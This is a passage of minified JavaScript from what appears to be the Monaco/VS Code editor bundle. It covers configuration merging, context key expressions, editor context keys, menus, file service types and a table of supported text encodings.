e(e,t,n,o,r,s){this._id=t,this._label=n,this._keybindings=o,this._keybindingContext=r,this._keybindingWeight=s,this._descriptor=i.createSyncDescriptor(e,this._id,this._label)}return Object.defineProperty(e.prototype,\"syncDescriptor\",{get:function(){return this._descriptor},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"id\",{get:function(){return this._id},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"label\",{get:function(){return this._label},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"keybindings\",{get:function(){return this._keybindings},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"keybindingContext\",{get:function(){return this._keybindingContext},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"keybindingWeight\",{get:function(){return this._keybindingWeight},enumerable:!0,configurable:!0}),e}();t.SyncActionDescriptor=l}),define(d[62],h([1,0,33,29,26,24,80,16]),function(e,t,n,i,o,r,s,a){\"use strict\";function u(e,t,n){var i=function(e,t){for(var n=e,i=0;i<t.length;i++){if(\"object\"!=typeof n||null===n)return;n=n[t[i]]}return n}(e,t.split(\".\"));return void 0===i?n:i}function l(e,t,n){Object.keys(t).forEach(function(o){o in e?i.isObject(e[o])&&i.isObject(t[o])?l(e[o],t[o],n):n&&(e[o]=t[o]):e[o]=t[o]})}Object.defineProperty(t,\"__esModule\",{value:!0}),t.IConfigurationService=a.createDecorator(\"configurationService\");!function(e){e[e.Default=1]=\"Default\",e[e.User=2]=\"User\",e[e.Workspace=3]=\"Workspace\"}(t.ConfigurationSource||(t.ConfigurationSource={})),t.getConfigurationValue=u,t.merge=l;var c=function(){function e(e,t,n){void 0===e&&(e={}),void 0===t&&(t=[]),void 0===n&&(n=[]),this._contents=e,this._keys=t,this._overrides=n}return Object.defineProperty(e.prototype,\"contents\",{get:function(){return this._contents},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"overrides\",{get:function(){return this._overrides},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"keys\",{get:function(){return this._keys},enumerable:!0,configurable:!0}),e.prototype.getContentsFor=function(e){return o.clone(this.contents[e])},e.prototype.override=function(t){var n=new e,i=o.clone(this.contents);if(this._overrides)for(var r=0,s=this._overrides;r<s.length;r++){var a=s[r];-1!==a.identifiers.indexOf(t)&&l(i,a.contents,!0)}return n._contents=i,n},e.prototype.merge=function(t,n){void 0===n&&(n=!0);var i=new e;return this.doMerge(i,this,n),this.doMerge(i,t,n),i},e.prototype.doMerge=function(e,t,i){void 0===i&&(i=!0),l(e.contents,o.clone(t.contents),i);for(var r=o.clone(e._overrides),s=0,a=t._overrides;s<a.length;s++)!function(e){var t=r.filter(function(t){return n.equals(t.identifiers,e.identifiers)})[0];t?l(t.contents,e.contents,i):r.push(e)}(a[s]);e._overrides=r},e}();t.ConfigurationModel=c;var d=function(){function e(e,t,n,i,o){void 0===n&&(n=new c),void 0===i&&(i=new s.StrictResourceMap),this._defaults=e,this._user=t,this._workspaceConfiguration=n,this.folders=i,this._workspace=o,this.merge()}return Object.defineProperty(e.prototype,\"defaults\",{get:function(){return this._defaults},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"user\",{get:function(){return this._user},enumerable:!0,configurable:!0}),e.prototype.merge=function(){this._globalConfiguration=(new c).merge(this._defaults).merge(this._user),this._workspaceConsolidatedConfiguration=(new c).merge(this._globalConfiguration).merge(this._workspaceConfiguration),this._legacyWorkspaceConsolidatedConfiguration=null,this._foldersConsolidatedConfigurations=new s.StrictResourceMap;for(var e=0,t=this.folders.keys();e<t.length;e++){var n=t[e];this.mergeFolder(n)}},e.prototype.mergeFolder=function(e){this._foldersConsolidatedConfigurations.set(e,(new c).merge(this._workspaceConsolidatedConfiguration).merge(this.folders.get(e)))},e.prototype.getValue=function(e,t){void 0===e&&(e=\"\"),void 0===t&&(t={});var n=this.getConsolidateConfigurationModel(t);return e?n.getContentsFor(e):n.contents},e.prototype.lookup=function(e,t){void 0===t&&(t={});var n=this.getConsolidateConfigurationModel(t),i=this.getFolderConfigurationModelForResource(t.resource);return{default:o.clone(u(t.overrideIdentifier?this._defaults.override(t.overrideIdentifier).contents:this._defaults.contents,e)),user:o.clone(u(t.overrideIdentifier?this._user.override(t.overrideIdentifier).contents:this._user.contents,e)),workspace:o.clone(this._workspace?u(t.overrideIdentifier?this._workspaceConfiguration.override(t.overrideIdentifier).contents:this._workspaceConfiguration.contents,e):void 0),folder:o.clone(i?u(t.overrideIdentifier?i.override(t.overrideIdentifier).contents:i.contents,e):void 0),value:o.clone(u(n.contents,e))}},e.prototype.lookupLegacy=function(e){this._legacyWorkspaceConsolidatedConfiguration||(this._legacyWorkspaceConsolidatedConfiguration=this._workspace?(new c).merge(this._workspaceConfiguration).merge(this.folders.get(this._workspace.roots[0])):null);var t=this.getConsolidateConfigurationModel({});return{default:o.clone(u(this._defaults.contents,e)),user:o.clone(u(this._user.contents,e)),workspace:o.clone(this._legacyWorkspaceConsolidatedConfiguration?u(this._legacyWorkspaceConsolidatedConfiguration.contents,e):void 0),folder:void 0,value:o.clone(u(t.contents,e))}},e.prototype.keys=function(e){void 0===e&&(e={});var t=this.getFolderConfigurationModelForResource(e.resource);return{default:this._defaults.keys,user:this._user.keys,workspace:this._workspaceConfiguration.keys,folder:t?t.keys:[]}},e.prototype.values=function(){for(var e,t=Object.create(null),n=this.keys(),i=0,o=n.workspace.concat(n.user,n.default).sort();i<o.length;i++){var r=o[i];r!==e&&(e=r,t[r]=this.lookup(r))}return t},e.prototype.values2=function(){for(var e,t=new Map,n=this.keys(),i=0,o=n.workspace.concat(n.user,n.default).sort();i<o.length;i++){var r=o[i];r!==e&&(e=r,t.set(r,this.lookup(r)))}return t},e.prototype.getConsolidateConfigurationModel=function(e){var t=this.getConsolidatedConfigurationModelForResource(e);return e.overrideIdentifier?t.override(e.overrideIdentifier):t},e.prototype.getConsolidatedConfigurationModelForResource=function(e){var t=e.resource;if(!this._workspace)return this._globalConfiguration;if(!t)return this._workspaceConsolidatedConfiguration;var n=this._workspace.getRoot(t);return n?this._foldersConsolidatedConfigurations.get(n)||this._workspaceConsolidatedConfiguration:this._workspaceConsolidatedConfiguration},e.prototype.getFolderConfigurationModelForResource=function(e){if(!this._workspace||!e)return null;var t=this._workspace.getRoot(e);return t?this.folders.get(t):null},e.prototype.toData=function(){var e=this;return{defaults:{contents:this._defaults.contents,overrides:this._defaults.overrides,keys:this._defaults.keys},user:{contents:this._user.contents,overrides:this._user.overrides,keys:this._user.keys},workspace:{contents:this._workspaceConfiguration.contents,overrides:this._workspaceConfiguration.overrides,keys:this._workspaceConfiguration.keys},folders:this.folders.keys().reduce(function(t,n){var i=e.folders.get(n),o=i.contents,r=i.overrides,s=i.keys;return t[n.toString()]={contents:o,overrides:r,keys:s},t},Object.create({}))}},e.parse=function(t,n){return new e(e.parseConfigurationModel(t.defaults),e.parseConfigurationModel(t.user),e.parseConfigurationModel(t.workspace),Object.keys(t.folders).reduce(function(n,i){return n.set(r.default.parse(i),e.parseConfigurationModel(t.folders[i])),n},new s.StrictResourceMap),n)},e.parseConfigurationModel=function(e){return new c(e.contents,e.keys,e.overrides)},e}();t.Configuration=d}),define(d[19],h([1,0,16]),function(e,t,n){\"use strict\";function i(e,t){var n=e.getType(),i=t.getType();if(n!==i)return n-i;switch(n){case o.Defined:case o.Not:case o.Equals:case o.NotEquals:return e.cmp(t);default:throw new Error(\"Unknown ContextKeyExpr!\")}}Object.defineProperty(t,\"__esModule\",{value:!0});var o;!function(e){e[e.Defined=1]=\"Defined\",e[e.Not=2]=\"Not\",e[e.Equals=3]=\"Equals\",e[e.NotEquals=4]=\"NotEquals\",e[e.And=5]=\"And\"}(o=t.ContextKeyExprType||(t.ContextKeyExprType={}));var r=function(){function e(){}return e.has=function(e){return new s(e)},e.equals=function(e,t){return new a(e,t)},e.notEquals=function(e,t){return new u(e,t)},e.not=function(e){return new l(e)},e.and=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return new c(e)},e.deserialize=function(e){var t=this;if(!e)return null;var n=e.split(\"&&\");return new c(n.map(function(e){return t._deserializeOne(e)})).normalize()},e._deserializeOne=function(e){if((e=e.trim()).indexOf(\"!=\")>=0){t=e.split(\"!=\");return new u(t[0].trim(),this._deserializeValue(t[1]))}if(e.indexOf(\"==\")>=0){var t=e.split(\"==\");return new a(t[0].trim(),this._deserializeValue(t[1]))}return/^\\!\\s*/.test(e)?new l(e.substr(1).trim()):new s(e)},e._deserializeValue=function(e){if(\"true\"===(e=e.trim()))return!0;if(\"false\"===e)return!1;var t=/^'([^']*)'$/.exec(e);return t?t[1].trim():e},e}();t.ContextKeyExpr=r;var s=function(){function e(e){this.key=e}return e.prototype.getType=function(){return o.Defined},e.prototype.cmp=function(e){return this.key<e.key?-1:this.key>e.key?1:0},e.prototype.equals=function(t){return t instanceof e&&this.key===t.key},e.prototype.evaluate=function(e){return!!e.getValue(this.key)},e.prototype.normalize=function(){return this},e.prototype.serialize=function(){return this.key},e.prototype.keys=function(){return[this.key]},e}();t.ContextKeyDefinedExpr=s;var a=function(){function e(e,t){this.key=e,this.value=t}return e.prototype.getType=function(){return o.Equals},e.prototype.cmp=function(e){return this.key<e.key?-1:this.key>e.key?1:this.value<e.value?-1:this.value>e.value?1:0},e.prototype.equals=function(t){return t instanceof e&&(this.key===t.key&&this.value===t.value)},e.prototype.evaluate=function(e){return e.getValue(this.key)==this.value},e.prototype.normalize=function(){return\"boolean\"==typeof this.value?this.value?new s(this.key):new l(this.key):this},e.prototype.serialize=function(){return\"boolean\"==typeof this.value?this.normalize().serialize():this.key+\" == '\"+this.value+\"'\"},e.prototype.keys=function(){return[this.key]},e}();t.ContextKeyEqualsExpr=a;var u=function(){function e(e,t){this.key=e,this.value=t}return e.prototype.getType=function(){return o.NotEquals},e.prototype.cmp=function(e){return this.key<e.key?-1:this.key>e.key?1:this.value<e.value?-1:this.value>e.value?1:0},e.prototype.equals=function(t){return t instanceof e&&(this.key===t.key&&this.value===t.value)},e.prototype.evaluate=function(e){return e.getValue(this.key)!=this.value},e.prototype.normalize=function(){return\"boolean\"==typeof this.value?this.value?new l(this.key):new s(this.key):this},e.prototype.serialize=function(){return\"boolean\"==typeof this.value?this.normalize().serialize():this.key+\" != '\"+this.value+\"'\"},e.prototype.keys=function(){return[this.key]},e}();t.ContextKeyNotEqualsExpr=u;var l=function(){function e(e){this.key=e}return e.prototype.getType=function(){return o.Not},e.prototype.cmp=function(e){return this.key<e.key?-1:this.key>e.key?1:0},e.prototype.equals=function(t){return t instanceof e&&this.key===t.key},e.prototype.evaluate=function(e){return!e.getValue(this.key)},e.prototype.normalize=function(){return this},e.prototype.serialize=function(){return\"!\"+this.key},e.prototype.keys=function(){return[this.key]},e}();t.ContextKeyNotExpr=l;var c=function(){function e(t){this.expr=e._normalizeArr(t)}return e.prototype.getType=function(){return o.And},e.prototype.equals=function(t){if(t instanceof e){if(this.expr.length!==t.expr.length)return!1;for(var n=0,i=this.expr.length;n<i;n++)if(!this.expr[n].equals(t.expr[n]))return!1;return!0}return!1},e.prototype.evaluate=function(e){for(var t=0,n=this.expr.length;t<n;t++)if(!this.expr[t].evaluate(e))return!1;return!0},e._normalizeArr=function(t){var n=[];if(t){for(var o=0,r=t.length;o<r;o++){var s=t[o];s&&((s=s.normalize())&&(s instanceof e?n=n.concat(s.expr):n.push(s)))}n.sort(i)}return n},e.prototype.normalize=function(){return 0===this.expr.length?null:1===this.expr.length?this.expr[0]:this},e.prototype.serialize=function(){return 0===this.expr.length?\"\":1===this.expr.length?this.normalize().serialize():this.expr.map(function(e){return e.serialize()}).join(\" && \")},e.prototype.keys=function(){for(var e=[],t=0,n=this.expr;t<n.length;t++){var i=n[t];e.push.apply(e,i.keys())}return e},e}();t.ContextKeyAndExpr=c;var d=function(e){function t(t,n){var i=e.call(this,t)||this;return i._defaultValue=n,i}return f(t,e),t.prototype.bindTo=function(e){return e.createKey(this.key,this._defaultValue)},t.prototype.getValue=function(e){return e.getContextKeyValue(this.key)},t.prototype.toNegated=function(){return r.not(this.key)},t.prototype.isEqualTo=function(e){return r.equals(this.key,e)},t}(s);t.RawContextKey=d,t.IContextKeyService=n.createDecorator(\"contextKeyService\"),t.SET_CONTEXT_COMMAND_ID=\"setContext\"}),define(d[21],h([1,0,19]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e.textFocus=new n.RawContextKey(\"editorTextFocus\",!1),e.focus=new n.RawContextKey(\"editorFocus\",!1),e.readOnly=new n.RawContextKey(\"editorReadonly\",!1),e.writable=e.readOnly.toNegated(),e.hasNonEmptySelection=new n.RawContextKey(\"editorHasSelection\",!1),e.hasOnlyEmptySelection=e.hasNonEmptySelection.toNegated(),e.hasMultipleSelections=new n.RawContextKey(\"editorHasMultipleSelections\",!1),e.hasSingleSelection=e.hasMultipleSelections.toNegated(),e.tabMovesFocus=new n.RawContextKey(\"editorTabMovesFocus\",!1),e.tabDoesNotMoveFocus=e.tabMovesFocus.toNegated(),e.isInEmbeddedEditor=new n.RawContextKey(\"isInEmbeddedEditor\",void 0),e.languageId=new n.RawContextKey(\"editorLangId\",void 0),e.hasCompletionItemProvider=new n.RawContextKey(\"editorHasCompletionItemProvider\",void 0),e.hasCodeActionsProvider=new n.RawContextKey(\"editorHasCodeActionsProvider\",void 0),e.hasCodeLensProvider=new n.RawContextKey(\"editorHasCodeLensProvider\",void 0),e.hasDefinitionProvider=new n.RawContextKey(\"editorHasDefinitionProvider\",void 0),e.hasImplementationProvider=new n.RawContextKey(\"editorHasImplementationProvider\",void 0),e.hasTypeDefinitionProvider=new n.RawContextKey(\"editorHasTypeDefinitionProvider\",void 0),e.hasHoverProvider=new n.RawContextKey(\"editorHasHoverProvider\",void 0),e.hasDocumentHighlightProvider=new n.RawContextKey(\"editorHasDocumentHighlightProvider\",void 0),e.hasDocumentSymbolProvider=new n.RawContextKey(\"editorHasDocumentSymbolProvider\",void 0),e.hasReferenceProvider=new n.RawContextKey(\"editorHasReferenceProvider\",void 0),e.hasRenameProvider=new n.RawContextKey(\"editorHasRenameProvider\",void 0),e.hasDocumentFormattingProvider=new n.RawContextKey(\"editorHasDocumentFormattingProvider\",void 0),e.hasDocumentSelectionFormattingProvider=new n.RawContextKey(\"editorHasDocumentSelectionFormattingProvider\",void 0),e.hasSignatureHelpProvider=new n.RawContextKey(\"editorHasSignatureHelpProvider\",void 0)}(t.EditorContextKeys||(t.EditorContextKeys={}))}),define(d[406],h([1,0,3,17,21,70]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(e){function t(t,n){var r=e.call(this)||this;r._editor=t,r._langId=o.EditorContextKeys.languageId.bindTo(n),r._hasCompletionItemProvider=o.EditorContextKeys.hasCompletionItemProvider.bindTo(n),r._hasCodeActionsProvider=o.EditorContextKeys.hasCodeActionsProvider.bindTo(n),r._hasCodeLensProvider=o.EditorContextKeys.hasCodeLensProvider.bindTo(n),r._hasDefinitionProvider=o.EditorContextKeys.hasDefinitionProvider.bindTo(n),r._hasImplementationProvider=o.EditorContextKeys.hasImplementationProvider.bindTo(n),r._hasTypeDefinitionProvider=o.EditorContextKeys.hasTypeDefinitionProvider.bindTo(n),r._hasHoverProvider=o.EditorContextKeys.hasHoverProvider.bindTo(n),r._hasDocumentHighlightProvider=o.EditorContextKeys.hasDocumentHighlightProvider.bindTo(n),r._hasDocumentSymbolProvider=o.EditorContextKeys.hasDocumentSymbolProvider.bindTo(n),r._hasReferenceProvider=o.EditorContextKeys.hasReferenceProvider.bindTo(n),r._hasRenameProvider=o.EditorContextKeys.hasRenameProvider.bindTo(n),r._hasDocumentFormattingProvider=o.EditorContextKeys.hasDocumentFormattingProvider.bindTo(n),r._hasDocumentSelectionFormattingProvider=o.EditorContextKeys.hasDocumentSelectionFormattingProvider.bindTo(n),r._hasSignatureHelpProvider=o.EditorContextKeys.hasSignatureHelpProvider.bindTo(n),r._isInWalkThrough=o.EditorContextKeys.isInEmbeddedEditor.bindTo(n);var s=function(){return r._update()};return r._register(t.onDidChangeModel(s)),r._register(t.onDidChangeModelLanguage(s)),r._register(i.SuggestRegistry.onDidChange(s)),r._register(i.CodeActionProviderRegistry.onDidChange(s)),r._register(i.CodeLensProviderRegistry.onDidChange(s)),r._register(i.DefinitionProviderRegistry.onDidChange(s)),r._register(i.ImplementationProviderRegistry.onDidChange(s)),r._register(i.TypeDefinitionProviderRegistry.onDidChange(s)),r._register(i.HoverProviderRegistry.onDidChange(s)),r._register(i.DocumentHighlightProviderRegistry.onDidChange(s)),r._register(i.DocumentSymbolProviderRegistry.onDidChange(s)),r._register(i.ReferenceProviderRegistry.onDidChange(s)),r._register(i.RenameProviderRegistry.onDidChange(s)),r._register(i.DocumentFormattingEditProviderRegistry.onDidChange(s)),r._register(i.DocumentRangeFormattingEditProviderRegistry.onDidChange(s)),r._register(i.SignatureHelpProviderRegistry.onDidChange(s)),s(),r}return f(t,e),t.prototype.dispose=function(){e.prototype.dispose.call(this)},t.prototype.reset=function(){this._langId.reset(),this._hasCompletionItemProvider.reset(),this._hasCodeActionsProvider.reset(),this._hasCodeLensProvider.reset(),this._hasDefinitionProvider.reset(),this._hasImplementationProvider.reset(),this._hasTypeDefinitionProvider.reset(),this._hasHoverProvider.reset(),this._hasDocumentHighlightProvider.reset(),this._hasDocumentSymbolProvider.reset(),this._hasReferenceProvider.reset(),this._hasRenameProvider.reset(),this._hasDocumentFormattingProvider.reset(),this._hasDocumentSelectionFormattingProvider.reset(),this._hasSignatureHelpProvider.reset(),this._isInWalkThrough.reset()},t.prototype._update=function(){var e=this._editor.getModel();e?(this._langId.set(e.getLanguageIdentifier().language),this._hasCompletionItemProvider.set(i.SuggestRegistry.has(e)),this._hasCodeActionsProvider.set(i.CodeActionProviderRegistry.has(e)),this._hasCodeLensProvider.set(i.CodeLensProviderRegistry.has(e)),this._hasDefinitionProvider.set(i.DefinitionProviderRegistry.has(e)),this._hasImplementationProvider.set(i.ImplementationProviderRegistry.has(e)),this._hasTypeDefinitionProvider.set(i.TypeDefinitionProviderRegistry.has(e)),this._hasHoverProvider.set(i.HoverProviderRegistry.has(e)),this._hasDocumentHighlightProvider.set(i.DocumentHighlightProviderRegistry.has(e)),this._hasDocumentSymbolProvider.set(i.DocumentSymbolProviderRegistry.has(e)),this._hasReferenceProvider.set(i.ReferenceProviderRegistry.has(e)),this._hasRenameProvider.set(i.RenameProviderRegistry.has(e)),this._hasSignatureHelpProvider.set(i.SignatureHelpProviderRegistry.has(e)),this._hasDocumentFormattingProvider.set(i.DocumentFormattingEditProviderRegistry.has(e)||i.DocumentRangeFormattingEditProviderRegistry.has(e)),this._hasDocumentSelectionFormattingProvider.set(i.DocumentRangeFormattingEditProviderRegistry.has(e)),this._isInWalkThrough.set(e.uri.scheme===r.Schemas.walkThroughSnippet)):this.reset()},t}(n.Disposable);t.EditorModeContext=s}),define(d[407],h([1,0,11,3,19,85,31]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(){function e(t,i,o,s){var a=this;this._id=t,this._commandService=o,this._contextKeyService=s,this._menuGroups=[],this._disposables=[],this._onDidChange=new n.Emitter,i.then(function(n){var i,o=r.MenuRegistry.getMenuItems(t),s=new Set;o.sort(e._compareMenuItems);for(var u=0,l=o;u<l.length;u++){var c=l[u],d=c.group;i&&i[0]===d||(i=[d,[]],a._menuGroups.push(i)),i[1].push(c),e._fillInKbExprKeys(c.when,s)}a._disposables.push(a._contextKeyService.onDidChangeContext(function(e){if(e)for(var t=0,n=e;t<n.length;t++){var i=n[t];if(s.has(i))return void a._onDidChange.fire()}})),a._onDidChange.fire(a)})}return e.prototype.dispose=function(){this._disposables=i.dispose(this._disposables),this._onDidChange.dispose()},Object.defineProperty(e.prototype,\"onDidChange\",{get:function(){return this._onDidChange.event},enumerable:!0,configurable:!0}),e.prototype.getActions=function(e){for(var t=[],n=0,i=this._menuGroups;n<i.length;n++){for(var o=i[n],s=o[0],a=[],u=0,l=o[1];u<l.length;u++){var c=l[u];if(this._contextKeyService.contextMatchesRules(c.when)){var d=new r.MenuItemAction(c.command,c.alt,e,this._commandService);d.order=c.order,a.push(d)}}a.length>0&&t.push([s,a])}return t},e._fillInKbExprKeys=function(e,t){if(e)for(var n=0,i=e.keys();n<i.length;n++){var o=i[n];t.add(o)}},e._compareMenuItems=function(e,t){var n=e.group,i=t.group;if(n!==i){if(!n)return 1;if(!i)return-1;if(\"navigation\"===n)return-1;if(\"navigation\"===i)return 1;var o=n.localeCompare(i);if(0!==o)return o}var r=e.order||0,s=t.order||0;if(r<s)return-1;if(r>s)return 1;var a=\"string\"==typeof e.command.title?e.command.title:e.command.title.value,u=\"string\"==typeof t.command.title?t.command.title:t.command.title.value;return a.localeCompare(u)},e=v([y(2,s.ICommandService),y(3,o.IContextKeyService)],e)}();t.Menu=a}),define(d[69],h([1,0,53,16]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.IContextViewService=i.createDecorator(\"contextViewService\"),t.IContextMenuService=i.createDecorator(\"contextMenuService\");var o=function(e){function t(t,n){var i=e.call(this,\"contextsubmenu\",t,\"\",!0)||this;return i.entries=n,i}return f(t,e),t}(n.Action);t.ContextSubMenu=o}),define(d[64],h([1,0,16]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.IEditorService=n.createDecorator(\"editorService\");var i;!function(e){e[e.ONE=0]=\"ONE\",e[e.TWO=1]=\"TWO\",e[e.THREE=2]=\"THREE\"}(i=t.Position||(t.Position={})),t.POSITIONS=[i.ONE,i.TWO,i.THREE];!function(e){e[e.LEFT=0]=\"LEFT\",e[e.RIGHT=1]=\"RIGHT\"}(t.Direction||(t.Direction={}));!function(e){e[e.SHORT=0]=\"SHORT\",e[e.MEDIUM=1]=\"MEDIUM\",e[e.LONG=2]=\"LONG\"}(t.Verbosity||(t.Verbosity={}))}),define(d[156],h([1,0,16]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.IEnvironmentService=n.createDecorator(\"environmentService\")}),define(d[411],h([1,0,45,79,15,16,9]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.IFileService=r.createDecorator(\"fileService\");!function(e){e[e.CREATE=0]=\"CREATE\",e[e.DELETE=1]=\"DELETE\",e[e.MOVE=2]=\"MOVE\",e[e.COPY=3]=\"COPY\",e[e.IMPORT=4]=\"IMPORT\"}(t.FileOperation||(t.FileOperation={}));var a=function(){function e(e,t,n){this._resource=e,this._operation=t,this._target=n}return Object.defineProperty(e.prototype,\"resource\",{get:function(){return this._resource},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"target\",{get:function(){return this._target},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"operation\",{get:function(){return this._operation},enumerable:!0,configurable:!0}),e}();t.FileOperationEvent=a;var u;!function(e){e[e.UPDATED=0]=\"UPDATED\",e[e.ADDED=1]=\"ADDED\",e[e.DELETED=2]=\"DELETED\"}(u=t.FileChangeType||(t.FileChangeType={}));var l=function(e){function t(t){var n=e.call(this)||this;return n._changes=t,n}return f(t,e),Object.defineProperty(t.prototype,\"changes\",{get:function(){return this._changes},enumerable:!0,configurable:!0}),t.prototype.contains=function(e,t){return!!e&&this._changes.some(function(i){return i.type===t&&(t===u.DELETED?n.isEqualOrParent(e.fsPath,i.resource.fsPath,!o.isLinux):n.isEqual(e.fsPath,i.resource.fsPath,!o.isLinux))})},t.prototype.getAdded=function(){return this.getOfType(u.ADDED)},t.prototype.gotAdded=function(){return this.hasType(u.ADDED)},t.prototype.getDeleted=function(){return this.getOfType(u.DELETED)},t.prototype.gotDeleted=function(){return this.hasType(u.DELETED)},t.prototype.getUpdated=function(){return this.getOfType(u.UPDATED)},t.prototype.gotUpdated=function(){return this.hasType(u.UPDATED)},t.prototype.getOfType=function(e){return this._changes.filter(function(t){return t.type===e})},t.prototype.hasType=function(e){return this._changes.some(function(t){return t.type===e})},t}(i.Event);t.FileChangesEvent=l,t.isParent=function(e,t,i){return!(!e||!t||e===t)&&!(t.length>e.length)&&(t.charAt(t.length-1)!==n.nativeSep&&(t+=n.nativeSep),i?s.beginsWithIgnoreCase(e,t):0===e.indexOf(t))},t.indexOf=function(e,t,n){return t.length>e.length?-1:e===t?0:(n&&(e=e.toLowerCase(),t=t.toLowerCase()),e.indexOf(t))};var c=function(e){function t(t,n){var i=e.call(this,t)||this;return i.fileOperationResult=n,i}return f(t,e),t}(Error);t.FileOperationError=c;!function(e){e[e.FILE_IS_BINARY=0]=\"FILE_IS_BINARY\",e[e.FILE_IS_DIRECTORY=1]=\"FILE_IS_DIRECTORY\",e[e.FILE_NOT_FOUND=2]=\"FILE_NOT_FOUND\",e[e.FILE_NOT_MODIFIED_SINCE=3]=\"FILE_NOT_MODIFIED_SINCE\",e[e.FILE_MODIFIED_SINCE=4]=\"FILE_MODIFIED_SINCE\",e[e.FILE_MOVE_CONFLICT=5]=\"FILE_MOVE_CONFLICT\",e[e.FILE_READ_ONLY=6]=\"FILE_READ_ONLY\",e[e.FILE_TOO_LARGE=7]=\"FILE_TOO_LARGE\",e[e.FILE_INVALID_PATH=8]=\"FILE_INVALID_PATH\"}(t.FileOperationResult||(t.FileOperationResult={}));t.MAX_FILE_SIZE=\"object\"==typeof process?\"ia32\"===process.arch?314572800:17179869184:314572800,t.AutoSaveConfiguration={OFF:\"off\",AFTER_DELAY:\"afterDelay\",ON_FOCUS_CHANGE:\"onFocusChange\",ON_WINDOW_CHANGE:\"onWindowChange\"},t.HotExitConfiguration={OFF:\"off\",ON_EXIT:\"onExit\",ON_EXIT_AND_WINDOW_CLOSE:\"onExitAndWindowClose\"},t.CONTENT_CHANGE_EVENT_BUFFER_DELAY=1e3,t.SUPPORTED_ENCODINGS={utf8:{labelLong:\"UTF-8\",labelShort:\"UTF-8\",order:1,alias:\"utf8bom\"},utf8bom:{labelLong:\"UTF-8 with BOM\",labelShort:\"UTF-8 with BOM\",encodeOnly:!0,order:2,alias:\"utf8\"},utf16le:{labelLong:\"UTF-16 LE\",labelShort:\"UTF-16 LE\",order:3},utf16be:{labelLong:\"UTF-16 BE\",labelShort:\"UTF-16 BE\",order:4},windows1252:{labelLong:\"Western (Windows 1252)\",labelShort:\"Windows 1252\",order:5},iso88591:{labelLong:\"Western (ISO 8859-1)\",labelShort:\"ISO 8859-1\",order:6},iso88593:{labelLong:\"Western (ISO 8859-3)\",labelShort:\"ISO 8859-3\",order:7},iso885915:{labelLong:\"Western (ISO 8859-15)\",labelShort:\"ISO 8859-15\",order:8},macroman:{labelLong:\"Western (Mac Roman)\",labelShort:\"Mac Roman\",order:9},cp437:{labelLong:\"DOS (CP 437)\",labelShort:\"CP437\",order:10},windows1256:{labelLong:\"Arabic (Windows 1256)\",labelShort:\"Windows 1256\",order:11},iso88596:{labelLong:\"Arabic (ISO 8859-6)\",labelShort:\"ISO 8859-6\",order:12},windows1257:{labelLong:\"Baltic (Windows 1257)\",labelShort:\"Windows 1257\",order:13},iso88594:{labelLong:\"Baltic (ISO 8859-4)\",labelShort:\"ISO 8859-4\",order:14},iso885914:{labelLong:\"Celtic (ISO 8859-14)\",labelShort:\"ISO 8859-14\",order:15},windows1250:{labelLong:\"Central European (Windows 1250)\",labelShort:\"Windows 1250\",order:16},iso88592:{labelLong:\"Central European (ISO 8859-2)\",labelShort:\"ISO 8859-2\",order:17},cp852:{labelLong:\"Central European (CP 852)\",labelShort:\"CP 852\",order:18},windows1251:{labelLong:\"Cyrillic (Windows 1251)\",labelShort:\"Windows 1251\",order:19},cp866:{labelLong:\"Cyrillic (CP 866)\",labelShort:\"CP 866\",order:20},iso88595:{labelLong:\"Cyrillic (ISO 8859-5)\",labelShort:\"ISO 8859-5\",order:21},koi8r:{labelLong:\"Cyrillic (KOI8-R)\",labelShort:\"KOI8-R\",order:22},koi8u:{labelLong:\"Cyrillic (KOI8-U)\",labelShort:\"KOI8-U\",order:23},iso885913:{labelLong:\"Estonian (ISO 8859-13)\",labelShort:\"ISO 8859-13\",order:24},windows1253:{labelLong:\"Greek (Windows 1253)\",labelShort:\"Windows 1253\",order:25},iso88597:{labelLong:\"Greek (ISO 8859-7)\",labelShort:\"ISO 8859-7\",order:26},windows1255:{labelLong:\"Hebrew (Windows 1255)\",labelShort:\"Windows 1255\",order:27},iso88598:{labelLong:\"Hebrew (ISO 8859-8)\",labelShort:\"ISO 8859-8\",order:28},iso885910:{labelLong:\"Nordic (ISO 8859-10)\",labelShort:\"ISO 8859-10\",order:29},iso885916:{labelLong:\"Romanian (ISO 8859-16)\",labelShort:\"ISO 8859-16\",order:30},windows1254:{labelLong:\"Turkish (Windows 1254)\",labelShort:\"Windows 1254\",order:31},iso88599:{labelLong:\"Turkish (ISO 8859-9)\",labelShort:\"ISO 8859-9\",order:32},windows1258:{labelLong:\"Vietnamese (Windows 1258)\",labelShort:\"Windows 1258\",order:33},gbk:{labelLong:\"Chinese (GBK)\",labelShort:\"GBK\",order:34},gb18030:{labelLong:\"Chinese (GB18030)\",labelShort:\"GB18030\",order:35},cp950:{labelLong:\"Traditional Chinese (Big5)\",labelShort:\"Big5\",order:36},big5hkscs:{labelLong:\"Traditional Chinese (Big5-HKSCS)\",labelShort:\"Big5-HKSCS\",order:37},shiftjis:{labelLong:\"Japanese (Shift JIS)\",labelShort:\"Shift JIS\",order:38},eucjp:{labelLong:\"Japanese (EUC-JP)\",labelShort:\"EUC-JP\",order:39},euckr:{labelLong:\"Korean 